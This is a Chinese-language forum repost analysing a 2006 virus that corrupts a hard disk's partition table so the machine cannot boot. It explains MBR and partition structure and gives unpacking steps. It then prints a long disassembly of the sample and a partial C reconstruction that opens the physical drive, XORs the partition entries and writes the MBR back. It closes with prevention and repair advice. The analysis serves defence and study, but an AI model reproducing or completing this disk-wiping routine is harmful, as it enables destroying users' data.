史萊姆論壇

返回   史萊姆論壇 > 教學文件資料庫 > 系統 & 硬體安裝及故障判斷技術文件
忘記密碼?
論壇說明 標記討論區已讀

歡迎您來到『史萊姆論壇』 ^___^

您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的!

請點擊這裡:『註冊成為我們的一份子!』

Google 提供的廣告


 
 
主題工具 顯示模式
舊 2006-08-23, 11:24 PM   #1
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設 軟體 - 硬碟炸彈的分析和修復

硬碟炸彈的分析和修復
文章作者:crazy4stef
訊息來源:邪惡八進制訊息安全團隊(
www.eviloctal.com
前些天弄到一個病毒,這個病毒可以破壞硬碟的分區表,把分區表弄成循環狀態,造成電腦無法啟動.
開機時提示:Invalid partiton table(分區表無效)
手頭有個人家寫好的,但是我並不知道如何實現的.就決定把他給拆開來看看裡面到底有什麼.
先來看看硬碟的MBR結構和開機過程
Boot Sector 結構簡介
  1. Boot Sector 的組成
  Boot Sector 也就是硬碟的第一個扇區, 它由 MBR (Master Boot Record),DPT (Disk Partition Table) 和 Boot Record ID(Magic Number) 三部分組成。
  MBR 又稱作主啟始記錄,佔用 Boot Sector 的前 446 個字節 ( 0 to 0x1BD ),包含了硬碟的一系列參數和一段系統主啟始程式。啟始程式主要是用來在系統硬體自檢完後負責從活動分區中裝載並執行系統啟始程式(啟始操作系統)。它的最後一條執行語句是一條JMP指令,跳到操作系統的啟始程式去。這裡往往是啟始型病毒的注入點,也是各種多系統啟始程式的注入點。但是由於啟始程式本身完成的功能比較簡單,所以我們完全可以判斷該啟始程式的合法性(比如看JMP指令的合法性),因而也易於修復。像命令fdisk/mbr可以修復MBR和KV300這類軟件可以查殺任意類型的啟始型病毒,就是這個道理。
  DPT 即主分區表,佔用 64 個字節 (0x1BE to 0x1FD),記錄了磁碟的基本分區訊息。主分區表分為四個分區項, 每項 16 字節, 分別記錄了每個主分區的訊息(因此最多可以有四個主分區)。
  Boot Record ID 即啟始區標記,佔用兩個字節 (0x1FE and 0x1FF), 對於合法啟始區, 它等於 0xAA55, 這是判別啟始區是否合法的標誌.
  Boot Sector 的具體結構如下圖所示:
  
http://p.blog.csdn.net/images/p_blog_csdn_net/freexploit/57030/o_harddisk001linuxsir.org001.jpg
  2. 主分區表的結構
  主分區表由四個分區項構成, 每一項的結構如下:
  BYTE State : 分區狀態, 0 = 未啟動, 0x80 = 啟動 (注意此項)
  BYTE StartHead : 分區起始磁頭號
  WORD StartSC : 分區起始扇區和柱面號, 低字節的低6位為扇區號,高2位為柱面號的第 9,10 位, 高字節 為柱面號的低 8 位
  BYTE Type : 分區類型, 如 0x0B = FAT32, 0x83 = Linux 等, 00 表示此項未用
  BYTE EndHead : 分區結束磁頭號
  WORD EndSC : 分區結束扇區和柱面號, 定義同前
  DWORD Relative : 線上性尋址方式下的分區相對扇區地址 (對於基本分區即為絕對地址)
  DWORD Sectors : 分區大小 (總扇區數)
  注意:在 DOS / Windows 系統下, 基本分區必須以柱面為單位劃分( Sectors * Heads 個扇區), 如對於 CHS 為 764/255/63 的硬碟, 分區的最小尺寸為 255 * 63 * 512 / 1048576 = 7.844 MB。
  3. 擴展分區簡介
  由於主分區表中只能分四個分區, 有時無法滿足需求, 因此設計了一種擴展分區格式。 基本上說, 擴展分區的訊息是以鏈表形式存放的, 但也有一些特別的地方。
  首先,主分區表中要有一個基本擴展分區項, 所有擴展分區都隸屬於它,也就是說其他所有擴展分區的空間都必須包括在這個基本擴展分區中。 對於DOS / Windows 來說, 擴展分區的類型為 0x05。
  除基本擴展分區以外的其他所有擴展分區則以鏈表的形式級聯存放, 後一個擴展分區的資料項記錄在前一個擴展分區的分區表中, 但兩個擴展分區的空間並不重疊。
  擴展分區類似於一個完整的硬碟, 必須進一步分區才能使用。但每個擴展分區中只能存在一個其他分區, 此分區在 DOS/Windows 環境中即為邏輯盤。因此每一個擴展分區的分區表 (同樣存儲在擴展分區的第一個扇區中)中最多只能有兩個分區資料項(包括下一個擴展分區的資料項)。
  擴展分區和邏輯盤的示意圖如下:
  
  
http://p.blog.csdn.net/images/p_blog_csdn_net/freexploit/57030/o_harddisk002linuxsir.org002.jpg
  
  三. 系統啟動過程簡介
  系統啟動過程主要由一下幾步組成(以硬碟啟動為例):
  1. 開機;
  2. BIOS 加電或按reset鍵後都要進行系統復位,復位後指令地址為 0ffff:fff0,這個地方只有一條JMP指令, 跳轉到系統自檢 ( Power On Self Test -- POST )程式處;
  3. 系統自檢完成後,將硬碟的第一個扇區 (0頭0道1扇區, 也就是Boot Sector)讀入記憶體地址 0000:7c00 處;
  4. 檢查 (WORD) 0000:7dfe 是否等於 0xaa55, 若不等於則轉去嘗試其他啟動介質, 如果沒有其他啟動介質 則顯示 "No ROM BASIC" 然後當機;
  5. 跳轉到 0000:7c00 處執行 MBR 中的程式;
  6. MBR程式 首先將自己複製到 0000:0600 處, 然後繼續執行;
  7. 在主分區表中搜索標誌為活動的分區,如果沒有發現活動分區或有不止一個活動分區, 則轉停止;
  8. 將活動分區的第一個扇區讀入記憶體地址 0000:7c00 處;
這個病毒就是利用這裡的死循環,使電腦無法啟動的
  9. 檢查 (WORD) 0000:7dfe 是否等於 0xaa55, 若不等於則 顯示 "Missing Operating System" 然後停止, 或嘗 試軟碟啟動或;
  10. 跳轉到 0000:7c00 處繼續執行特定系統的啟動程式;
  11. 啟動系統...
  以上步驟中 2,3,4,5 步是由 BIOS 的啟始程式完成. 6,7,8,9,10步由MBR中的啟始程式完成.
  一般多系統啟始程式 (如 SmartFDISK, BootStar, PQBoot 等)都是將標準主啟始記錄替換成自己的啟始程式, 在執行系統啟動程式之前讓用戶選擇要啟動的分區。
  而某些系統自帶的多系統啟始程式 (如 lilo, NT Loader 等)則可以將自己的啟始程式放在系統所處分區的第一個扇區中, 在 Linux中即為 SuperBlock (其實 SuperBlock 是兩個扇區)。

先查殼,發現PEID無法識別,看看段名,其中有個叫木馬綵衣的,就知道應該不難脫殼的
OD載入,向下走幾步,出現ESP,
[attachment=7249]

CODE:
00408002 > 61 popad ; 停在這裡
00408003 EB 06 jmp short 0040800B
00408005 - E0 EB loopdne short 00407FF2
00408007 00EB add bl, ch
00408009 03E8 add ebp, eax
0040800B ^ EB F9 jmp short 00408006
0040800D 60 pushad
0040800E E8 00000000 call 00408013 ; ESP定律
[Copy to clipboard]
[attachment=7251]
CODE:
004083B2 /EB 04 jmp short 004083B8
004083B4 |61 popad
004083B5 ^|EB FB jmp short 004083B2 ; 斷在這裡
004083B7 ^|EB EB jmp short 004083A4
004083B9 0068 35 add [eax+35], ch
[Copy to clipboard]
CODE:
00407035 55 push ebp ; 到OEP了
00407036 8BEC mov ebp, esp
00407038 6A FF push -1
0040703A 68 00000000 push 0
0040703F 68 00000000 push 0
[Copy to clipboard]
接著用OD直接DUMP出來就可以了.查殼,Microsoft Visual C++ 6.0,VC寫的,跟進去看看吧.
[attachment=7250]
CODE:
00407035 > 55 push ebp
00407036 8BEC mov ebp, esp
00407038 6A FF push -1
0040703A 68 00000000 push 0
0040703F 68 00000000 push 0
00407044 64:A1 00000000 mov eax, fs:[0]
0040704A 50 push eax
0040704B 64:8925 0000000>mov fs:[0], esp
00407052 83EC 68 sub esp, 68
00407055 53 push ebx
00407056 56 push esi
00407057 57 push edi
00407058 58 pop eax
00407059 58 pop eax
0040705A 58 pop eax
0040705B 83C4 68 add esp, 68
0040705E 58 pop eax
0040705F 67:64:A3 0000 mov fs:[0], eax
00407064 58 pop eax
00407065 58 pop eax
00407066 58 pop eax
00407067 58 pop eax
00407068 8BE8 mov ebp, eax
0040706A E8 71A2FFFF call 004012E0 ; 關鍵call,跟進
004012E0 /. 55 push ebp
004012E1 |. 8BEC mov ebp, esp
004012E3 |. 6A FF push -1
004012E5 |. 68 D8404000 push 004040D8
004012EA |. 68 141E4000 push 00401E14 ; SE handler installation
004012EF |. 64:A1 0000000>mov eax, fs:[0]
004012F5 |. 50 push eax
004012F6 |. 64:8925 00000>mov fs:[0], esp
004012FD |. 83EC 58 sub esp, 58
00401300 |. 53 push ebx
00401301 |. 56 push esi
00401302 |. 57 push edi
00401303 |. 8965 E8 mov [ebp-18], esp
00401306 |. FF15 58404000 call [] ; kernel32.GetVersion
0040130C |. 33D2 xor edx, edx
0040130E |. 8AD4 mov dl, ah
00401310 |. 8915 34554000 mov [405534], edx
00401316 |. 8BC8 mov ecx, eax
00401318 |. 81E1 FF000000 and ecx, 0FF
0040131E |. 890D 30554000 mov [405530], ecx
00401324 |. C1E1 08 shl ecx, 8
00401327 |. 03CA add ecx, edx
00401329 |. 890D 2C554000 mov [40552C], ecx
0040132F |. C1E8 10 shr eax, 10
00401332 |. A3 28554000 mov [405528], eax
00401337 |. 33F6 xor esi, esi
00401339 |. 56 push esi
0040133A |. E8 A1090000 call 00401CE0
0040133F |. 59 pop ecx
00401340 |. 85C0 test eax, eax
00401342 |. 75 08 jnz short 0040134C
00401344 |. 6A 1C push 1C
00401346 |. E8 B0000000 call 004013FB
0040134B |. 59 pop ecx
0040134C |> 8975 FC mov [ebp-4], esi
0040134F |. E8 E1070000 call 00401B35
00401354 |. FF15 54404000 call [] ; [GetCommandLineA
0040135A |. A3 385A4000 mov [405A38], eax
0040135F |. E8 9F060000 call 00401A03
00401364 |. A3 10554000 mov [405510], eax
00401369 |. E8 48040000 call 004017B6
0040136E |. E8 8A030000 call 004016FD
00401373 |. E8 A7000000 call 0040141F
00401378 |. 8975 D0 mov [ebp-30], esi
0040137B |. 8D45 A4 lea eax, [ebp-5C]
0040137E |. 50 push eax ; /pStartupinfo
0040137F |. FF15 50404000 call [] ; \GetStartupInfoA
00401385 |. E8 1B030000 call 004016A5
0040138A |. 8945 9C mov [ebp-64], eax
0040138D |. F645 D0 01 test byte ptr [ebp-30], 1
00401391 |. 74 06 je short 00401399
00401393 |. 0FB745 D4 movzx eax, word ptr [ebp-2C]
00401397 |. EB 03 jmp short 0040139C
00401399 |> 6A 0A push 0A
0040139B |. 58 pop eax
0040139C |> 50 push eax
0040139D |. FF75 9C push dword ptr [ebp-64]
004013A0 |. 56 push esi
004013A1 |. 56 push esi ; /pModule
004013A2 |. FF15 4C404000 call [] ; \GetModuleHandleA
004013A8 |. 50 push eax
004013A9 |. E8 22FFFFFF call 004012D0 ; 破壞分區表,跟進
004012D0 /$ E8 ABFFFFFF call 00401280 ; 繼續跟進
004012D5 |. 33C0 xor eax, eax
004012D7 \. C2 1000 retn 10
00401280 /$ 81EC 94000000 sub esp, 94
00401286 |. 8D4424 00 lea eax, [esp]
0040128A |. C74424 00 940>mov dword ptr [esp], 94
00401292 |. 50 push eax ; /pVersionInformation
00401293 |. FF15 28404000 call [] ; \GetVersionExA
00401299 |. 85C0 test eax, eax
0040129B |. 74 10 je short 004012AD
0040129D |. 837C24 10 02 cmp dword ptr [esp+10], 2
004012A2 |. 75 1A jnz short 004012BE
004012A4 |. E8 E7FDFFFF call 00401090 ; 程式最主要部分,跟進
004012A9 |. 85C0 test eax, eax
004012AB |. 75 11 jnz short 004012BE
004012AD |> 6A 10 push 10 ; /Style = MB_OK|MB_ICONHAND|MB_APPLMODAL
004012AF |. 6A 00 push 0 ; |Title = NULL
004012B1 |. 68 8C504000 push 0040508C ; |Text = "文件CRC效驗錯誤"
004012B6 |. 6A 00 push 0 ; |hOwner = NULL
004012B8 |. FF15 C4404000 call [] ; \MessageBoxA
004012BE |> 81C4 94000000 add esp, 94
004012C4 \. C3 retn
00401090 /$ 83EC 60 sub esp, 60
00401093 |. 8D4424 20 lea eax, [esp+20]
00401097 |. 53 push ebx
00401098 |. 55 push ebp
00401099 |. 56 push esi
0040109A |. 57 push edi
0040109B |. 68 78504000 push 00405078 ; /Format = "\\.\PHYSICALDRIVE0"
004010A0 |. 50 push eax ; |s
004010A1 |. FF15 CC404000 call [] ; \wsprintfA 格式化字元串
004010A7 |. 83C4 08 add esp, 8
004010AA |. 8D4C24 30 lea ecx, [esp+30]
004010AE |. 6A 00 push 0 ; /hTemplateFile = NULL
004010B0 |. 6A 00 push 0 ; |Attributes = 0
004010B2 |. 6A 03 push 3 ; |Mode = OPEN_EXISTING
004010B4 |. 6A 00 push 0 ; |pSecurity = NULL
004010B6 |. 6A 03 push 3 ; |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
004010B8 |. 68 000000C0 push C0000000 ; |Access = GENERIC_READ|GENERIC_WRITE
004010BD |. 51 push ecx ; |FileName
004010BE |. FF15 44404000 call [] ; \CreateFileA
004010C4 |. 8BF0 mov esi, eax
004010C6 |. 83FE FF cmp esi, -1
004010C9 |. 0F84 A5010000 je 00401274 ; 打開設備出錯,或者權限不夠
004010CF |. 8D5424 10 lea edx, [esp+10]
004010D3 |. 8B1D 20404000 mov ebx, [] ; kernel32.DeviceIoControl
004010D9 |. 6A 00 push 0 ; /pOverlapped = NULL
004010DB |. 52 push edx ; |pBytesReturned
004010DC |. 6A 00 push 0 ; |OutBufferSize = 0
004010DE |. 6A 00 push 0 ; |OutBuffer = NULL
004010E0 |. 6A 00 push 0 ; |InBufferSize = 0
004010E2 |. 6A 00 push 0 ; |InBuffer = NULL
004010E4 |. 68 18000900 push 90018 ; |IoControlCode = FSCTL_LOCK_VOLUME 鎖住硬碟
004010E9 |. 56 push esi ; |hDevice
004010EA |. FFD3 call ebx ; \DeviceIoControl
004010EC |. 8D4424 10 lea eax, [esp+10]
004010F0 |. 6A 00 push 0 ; /pOverlapped = NULL
004010F2 |. 50 push eax ; |pBytesReturned
004010F3 |. 8D4C24 20 lea ecx, [esp+20] ; |
004010F7 |. 6A 18 push 18 ; |OutBufferSize = 18 (24.)
004010F9 |. 51 push ecx ; |OutBuffer
004010FA |. 6A 00 push 0 ; |InBufferSize = 0
004010FC |. 6A 00 push 0 ; |InBuffer = NULL
004010FE |. 68 00000700 push 70000 ; |IoControlCode = IOCTL_DISK_GET_DRIVE_GEOMETRY 取得硬碟結構
00401103 |. 56 push esi ; |hDevice
00401104 |. FFD3 call ebx ; \DeviceIoControl
00401106 |. 8B5424 2C mov edx, [esp+2C]
0040110A |. 52 push edx ; /HeapSize
0040110B |. 6A 08 push 8 ; |Flags = HEAP_ZERO_MEMORY
0040110D |. FF15 1C404000 call [] ; |[GetProcessHeap
00401113 |. 50 push eax ; |hHeap
00401114 |. FF15 18404000 call [] ; \HeapAlloc
0040111A |. 8BF8 mov edi, eax
0040111C |. 85FF test edi, edi
0040111E |. 0F84 50010000 je 00401274
00401124 |. 8D4424 14 lea eax, [esp+14]
00401128 |. 6A 00 push 0 ; /pOverlapped = NULL
0040112A |. 50 push eax ; |pBytesRead
0040112B |. 68 00020000 push 200 ; |BytesToRead = 200 (512.)
00401130 |. 57 push edi ; |Buffer
00401131 |. 56 push esi ; |hFile
00401132 |. FF15 14404000 call [] ; \ReadFile
00401138 |. 85C0 test eax, eax
0040113A |. 0F84 34010000 je 00401274 ; 讀取MBR內容,出錯就跳走
00401140 |. 817C24 14 000>cmp dword ptr [esp+14], 200 ; 是否讀取了512字節
00401148 |. 0F82 26010000 jb 00401274 ; 沒有就跳走
0040114E |. C687 BE010000>mov byte ptr [edi+1BE], 80 ; 設置為活動分區
00401155 |. C687 BF010000>mov byte ptr [edi+1BF], 0
0040115C |. C687 C2010000>mov byte ptr [edi+1C2], 5
00401163 |. B8 C3010000 mov eax, 1C3
00401168 |> 8A0C38 /mov cl, [eax+edi] ; 從0x1C3開始,分區表的每個字節與26異或
0040116B |. 80F1 26 |xor cl, 26 ;這裡為什麼與26異或就可以弄成循環,請高手賜教,謝謝
0040116E |. 880C38 |mov [eax+edi], cl
00401171 |. 40 |inc eax
00401172 |. 3D FE010000 |cmp eax, 1FE
00401177 |.^ 7C EF \jl short 00401168 ; 到0x1FE結束
00401179 |. 8D4C24 10 lea ecx, [esp+10]
0040117D |. 6A 00 push 0
0040117F |. 51 push ecx
00401180 |. 6A 00 push 0
00401182 |. 6A 00 push 0
00401184 |. 6A 00 push 0
00401186 |. 6A 00 push 0
00401188 |. 68 1C000900 push 9001C
0040118D |. 56 push esi
0040118E |. FFD3 call ebx
00401190 |. 8B2D 10404000 mov ebp, [] ; kernel32.CloseHandle
00401196 |. 56 push esi ; /hObject
00401197 |. FFD5 call ebp ; \CloseHandle
00401199 |. 8D5424 30 lea edx, [esp+30]
0040119D |. 68 78504000 push 00405078 ; /Format = "\\.\PHYSICALDRIVE0"
004011A2 |. 52 push edx ; |s
004011A3 |. FF15 CC404000 call [] ; \wsprintfA
004011A9 |. 83C4 08 add esp, 8
004011AC |. 8D4424 30 lea eax, [esp+30]
004011B0 |. 6A 00 push 0 ; /hTemplateFile = NULL
004011B2 |. 6A 00 push 0 ; |Attributes = 0
004011B4 |. 6A 03 push 3 ; |Mode = OPEN_EXISTING
004011B6 |. 6A 00 push 0 ; |pSecurity = NULL
004011B8 |. 6A 03 push 3 ; |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
004011BA |. 68 000000C0 push C0000000 ; |Access = GENERIC_READ|GENERIC_WRITE
004011BF |. 50 push eax ; |FileName
004011C0 |. FF15 44404000 call [] ; \CreateFileA
004011C6 |. 8BF0 mov esi, eax
004011C8 |. 83FE FF cmp esi, -1
004011CB |. 0F84 A3000000 je 00401274
004011D1 |. 8D4C24 10 lea ecx, [esp+10]
004011D5 |. 6A 00 push 0
004011D7 |. 51 push ecx
004011D8 |. 6A 00 push 0
004011DA |. 6A 00 push 0
004011DC |. 6A 00 push 0
004011DE |. 6A 00 push 0
004011E0 |. 68 18000900 push 90018
004011E5 |. 56 push esi
004011E6 |. FFD3 call ebx
004011E8 |. 8D5424 10 lea edx, [esp+10]
004011EC |. 6A 00 push 0
004011EE |. 52 push edx
004011EF |. 8D4424 20 lea eax, [esp+20]
004011F3 |. 6A 18 push 18
004011F5 |. 50 push eax
004011F6 |. 6A 00 push 0
004011F8 |. 6A 00 push 0
004011FA |. 68 00000700 push 70000
004011FF |. 56 push esi
00401200 |. FFD3 call ebx
00401202 |. 8D4C24 14 lea ecx, [esp+14]
00401206 |. 6A 00 push 0 ; /pOverlapped = NULL
00401208 |. 51 push ecx ; |pBytesWritten
00401209 |. 68 00020000 push 200 ; |nBytesToWrite = 200 (512.)
0040120E |. 57 push edi ; |Buffer
0040120F |. 56 push esi ; |hFile
00401210 |. FF15 24404000 call [] ; \WriteFile
00401216 |. 85C0 test eax, eax ; 寫入修改後的分區表內容
00401218 |. 74 5A je short 00401274 ; 寫入失敗就跳走
0040121A |. 817C24 14 000>cmp dword ptr [esp+14], 200 ; 是否寫入了512字節
00401222 |. 72 50 jb short 00401274 ; 沒有就跳走
00401224 |. 8D5424 10 lea edx, [esp+10]
00401228 |. 6A 00 push 0
0040122A |. 52 push edx
0040122B |. 6A 00 push 0
0040122D |. 6A 00 push 0
0040122F |. 6A 00 push 0
00401231 |. 6A 00 push 0
00401233 |. 68 1C000900 push 9001C
00401238 |. 56 push esi
00401239 |. FFD3 call ebx
0040123B |. 57 push edi ; /pMemory
0040123C |. 6A 01 push 1 ; |Flags = HEAP_NO_SERIALIZE
0040123E |. FF15 1C404000 call [] ; |[GetProcessHeap
00401244 |. 50 push eax ; |hHeap
00401245 |. FF15 3C404000 call [] ; \HeapFree
0040124B |. 56 push esi
0040124C |. FFD5 call ebp
0040124E |. 6A 00 push 0 ; /Style = MB_OK|MB_APPLMODAL
00401250 |. 68 70504000 push 00405070 ; |Title = "找死"
00401255 |. 68 44504000 push 00405044 ; |Text = "豬三?,AC,"豬三哈哈?,AC,"就是豬三?,BD,",等死",B0,"?哈哈...."
0040125A |. 6A 00 push 0 ; |hOwner = NULL
0040125C |. FF15 C4404000 call [] ; \MessageBoxA
00401262 |. E8 99FDFFFF call 00401000 ; 提示些無聊的訊息
00401267 |. 5F pop edi
00401268 |. 5E pop esi
00401269 |. 5D pop ebp
0040126A |. B8 01000000 mov eax, 1
0040126F |. 5B pop ebx
00401270 |. 83C4 60 add esp, 60
00401273 |. C3 retn
00401274 |> 5F pop edi
00401275 |. 5E pop esi
00401276 |. 5D pop ebp
00401277 |. 33C0 xor eax, eax
00401279 |. 5B pop ebx
0040127A |. 83C4 60 add esp, 60
0040127D \. C3 retn
[Copy to clipboard]
調了幾個基本的API,用VC還原以上內容如下:
CODE:
HANDLE hDevice;
TCHAR szDevicename[64];
LPTSTR szBuff;
DISK_GEOMETRY Geometry;
BOOL bRet;
DWORD bytes,bread,count;
char *drive = "0";
BYTE pMBR[512]={0};
bytes = 512;
wsprintf(szDevicename,"\\\\.\\PHYSICALDRIVE%c",*drive);
hDevice = CreateFile( szDevicename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
{
MessageBox("Open Device Error!");
ExitProcess(0);
}
DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);
DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,
&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);
szBuff = (LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Geometry.BytesPerSector);
if ( szBuff == NULL)
{
MessageBox("Memery Allocation Error!");
}
bRet = ReadFile(hDevice, szBuff, bytes, &bread, NULL);
if (bRet==FALSE || bread
[Copy to clipboard]
附完整源碼.和我下載的病毒程式.(請不要在實機測試,後果自負.)
後記:目前防止該病毒只有2種方法
1.不要使用管理員帳號.MSDN裡面這樣說的:
QUOTE:
Physical Disks and Volumes
You can use the CreateFile function to open a physical disk drive or a volume. The function returns a handle that can be used with the DeviceIoControl function. This enables you to access the disk partition table. However, it is potentially dangerous to do so, because an incorrect write to a disk could make its contents inaccessible. The following requirements must be met for such a call to succeed:
The caller must have administrative privileges. For more information, see Running with Special Privileges.
The dwCreationDisposition parameter must have the OPEN_EXISTING flag.
When opening a volume or floppy disk, the dwShareMode parameter must have the FILE_SHARE_WRITE flag.
2.目前唯一能防止改病毒的HIPS(Hosted-Based Intrusion Prevention System )-System Safety Monitor(SSM),SSM可以檢測到各類程式對硬碟底層的訪問.從而阻止該動作
至於中了這個之後的修復問題,只能用改過IO.SYS的DOS啟始盤啟動電腦,然後用diskgen修復.因為死循環找成啟始系統無法找到硬碟分區,就無法啟動了.
或者直接用深山紅葉的WIN PE工具盤來修復,非常方便.
__________________
http://bbsimg.qianlong.com/upload/01/08/29/68/1082968_1136014649812.gif
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
向 psac 送花的會員:
wulihua (2006-08-24)
感謝您發表一篇好文章
舊 2006-08-23, 11:25 PM   #2 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

圖片:
http://bbs.crsky.com/1128632305/Mon_0608/22_30472_a816690cdf3c733.png

圖片:
http://bbs.crsky.com/1128632305/Mon_0608/22_30472_493aa5c4b4d2048.png

圖片:
http://bbs.crsky.com/1128632305/Mon_0608/22_30472_0a049fb8f00efa6.png

選1進去 win pe
執行分區表醫生。點確定,儲存,重起
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
向 psac 送花的會員:
bowen0205 (2008-09-11)
感謝您發表一篇好文章
 


主題工具
顯示模式

發表規則
不可以發文
不可以回覆主題
不可以上傳附加檔案
不可以編輯您的文章

論壇啟用 BB 語法
論壇啟用 表情符號
論壇啟用 [IMG] 語法
論壇禁用 HTML 語法
Trackbacks are 禁用
Pingbacks are 禁用
Refbacks are 禁用


所有時間均為台北時間。現在的時間是 09:28 PM


Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2022, Jelsoft Enterprises Ltd.


SEO by vBSEO 3.6.1